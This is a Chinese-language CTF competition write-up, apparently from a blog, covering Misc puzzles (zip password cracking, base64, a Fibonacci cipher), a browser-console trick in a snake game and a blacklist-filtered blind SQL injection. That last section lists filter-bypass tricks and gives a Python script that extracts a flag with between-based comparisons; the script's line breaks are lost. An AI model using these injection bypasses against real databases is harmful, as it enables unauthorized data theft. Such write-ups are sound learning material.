| 时间 | 分类 |
|---|---|
| 2025-12-05 20:15:12 | 分享 |
本次比赛分为理论题和CTF题两部分
理论题主要考查网络基础知识
CTF题目类型分布:
Misc:两道,简单、中等难度各一道
Web:两道,简单、中等难度各一道
Pwn:一道,官方给得中等难度
Misc
皮卡皮卡
开局给了一个压缩包,里面只有一个doc文件
用ARCHPR先暴力破解一波
得到压缩包密码是abc
然后打开文件
发现有一串base64编码后的字符串
用Cyberchef解密之后得到flag
unctf{cute_pikachu}
题目要求只提交{}里的内容,所以最终答案是
cute_pikachu
赛后发现好像是因为我WPS默认开了显示隐藏文字,所以打开就能看到base64,其他朋友都要手动设置才可以看到(
斐波那契
下载附件后只有一个txt文件,给了encryption和cipher
首先先把cipher中flag的内容用空格分开,然后跟encryption一起导入到xlsx中,做一个简单的映射表
现在有两种可能的解题思路:
第一种:
观察encryption分别是正常斐波那契数列的第几位
然后在cipher中数出对应的字符,最后拼接到一起
这样得到的答案是0af24eada49a78d97c26b57c4aeaf4d
(暂时不论1是第一位还是第二位)
第二种:
由于encryption和cipher的flag中的字符串都是32位
所以尝试把encryption的每一个数字都跟cipher的flag中的字符一一绑定
如上图所示
然后把encryption按照正常的斐波那契数列排序,得到一个答案为
0dfea24d49aa78d927bc657c4aeaf4ea
然后我们分别假设encryption中的两个1分别是第一位和第二位、第二位和第一位、第一位和第一位、第二位和第二位
经过两种猜想共八个flag的测试之后,我们得到了最终正确的flag:
ddfea24d49aa78d927bc657c4aeaf4ea
Web
贪食蛇
由于时间原因没下网页源码,先大概描述一下网页结构
访问ip后会出现一个贪吃蛇的游戏界面,用的是某个开源js代码,调用的snake.js
解题方法也很简单,应该有两种
第一种:进入开发者模式,直接在console中设置snakeLength(具体变量名忘记了)大于3500, 就得到了flag
第二种:简单浏览一下代码,会发现有一长串AAencode(也叫颜文字加密)后的字符串,然后直接拖到在线工具界面就可以得到简单的js代码,flag很明显就在代码中
(当时在电脑翻了好久的AAdecode工具,结束才想起来可以直接在console调用输出)
好黑的黑名单
(感觉这个题目的质量非常非常好,之前从来没见过这种类型的盲注)
打开题目之后f12可以发现一个很明显的id
http://172.16.70.106/show.php?id=1
尝试对其进行注入,发现有明显的过滤
一旦关键字在黑名单里,就会显示:这么坏?想让我下面给你吃吗?XD (后悔没截图)
一旦没结果,就会显示:想让我下面给你吃?
通过简单的测试发现被过滤的关键字有:
' " + = union , < > * 空格 sleep ^ mid ascii like regexp information_schema.tables结果就是非常头疼,在这里卡了好久之后,想到使用between
大概说一下between:
当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个。可以通过一位一位来爆库。但是把数据库跑出来以后后面继续加上空格还是会显示1
然后就能够写脚本了。写脚本的时候还有几点得注意下:
单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过
%a0和%0a都是代表空格,用来绕过空格的过滤
附一下脚本:
importrequestsimporttimeflag=""c=""foriinrange(1,40):forainrange(33,128):#time.sleep(1)b=str(hex(a))id="if((select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x"+c+b[2:4]+"%0aand%0a0x7e),1,2)"url1=url+idres=requests.get(url1)if"20"inres.text:c+=str(hex(a-1))[2:4]flag+=str(chr(a-1))(flag)break#flag{5d6352163c30ba51f1e2c0dd08622428}#5d6352163c30ba51f1e2c0dd08622428运行脚本之后就得到了flag为
flag{5d6352163c30ba51f1e2c0dd08622428}
题目要求只提交{}里的内容,所以最终答案是
5d6352163c30ba51f1e2c0dd08622428
Pwn
不会。